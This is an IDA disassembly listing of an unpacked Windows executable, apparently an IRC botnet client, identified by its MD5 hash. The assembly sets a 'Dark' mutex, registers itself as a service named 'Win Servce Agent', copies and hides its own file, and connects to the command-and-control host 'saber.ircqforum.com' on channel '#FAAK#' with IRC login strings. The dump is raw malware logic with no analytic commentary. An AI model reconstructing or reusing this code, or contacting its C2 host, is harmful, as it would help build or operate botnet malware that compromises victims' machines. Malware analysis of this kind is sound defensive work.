;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0602653627E1B3291C9F16FC06E56A6D

; File Name   :	u:\work\0602653627e1b3291c9f16fc06e56a6d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E3000 ( 929792.)
; Section size in file		: 000E3000 ( 929792.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWinServceAgent ; "Win Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4D07D8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4D0848
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4D0788

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4D0800
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_44376C
		call	dword_4D08BC
		call	sub_40B2BF
		call	dword_4D077C
		call	dword_4D077C
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_4429D8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2670A44h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2660C2Fh
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4429D0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4D0560, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D0564, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4D08D0
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 2690228h
		nop
		push	eax
		nop
		call	near ptr 26901AFh
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4D0794
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2670A44h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_42ED6C
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_42ED64
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680E9Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680D7Eh

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 268086Bh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2680D7Eh
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_4429D8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 268081Ah
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26802E0h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_42ED58
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2660C2Fh
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2680000h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4D077C
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4E0B44, 2
		jle	short loc_401562
		mov	eax, dword_4E0B48
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26901AFh
		push	esi
		call	near ptr 26608ABh
		nop
		mov	eax, dword_4E0B48
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2680000h
		mov	eax, dword_4E0B48
		push	dword ptr [eax+8]
		nop
		call	near ptr 26801ADh

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4D08F4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_42ED3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_4429E0
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_42ED18
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	short loc_401622
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_42ECD8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_42ECAC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi

loc_401666:				; DATA XREF: Themida_:00566C3Co
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	short loc_40169A
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_42EC78
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4D056C
		mov	dword_4D06D8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4D05EC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4D062C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4D06C0, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4D0568
		mov	dword_4D06D4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4D06D4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2680000h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4D056C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4D056C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4D06BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4D077C

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4D0824
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_443778
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4D08A4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_44376C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4D08BC
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2680000h
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42ED74
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4D08BC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4D06D0, bl
		jz	short loc_40199A
		push	offset byte_4D06D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4D08BC
		push	1388h
		nop
		call	near ptr 2680000h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2680000h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
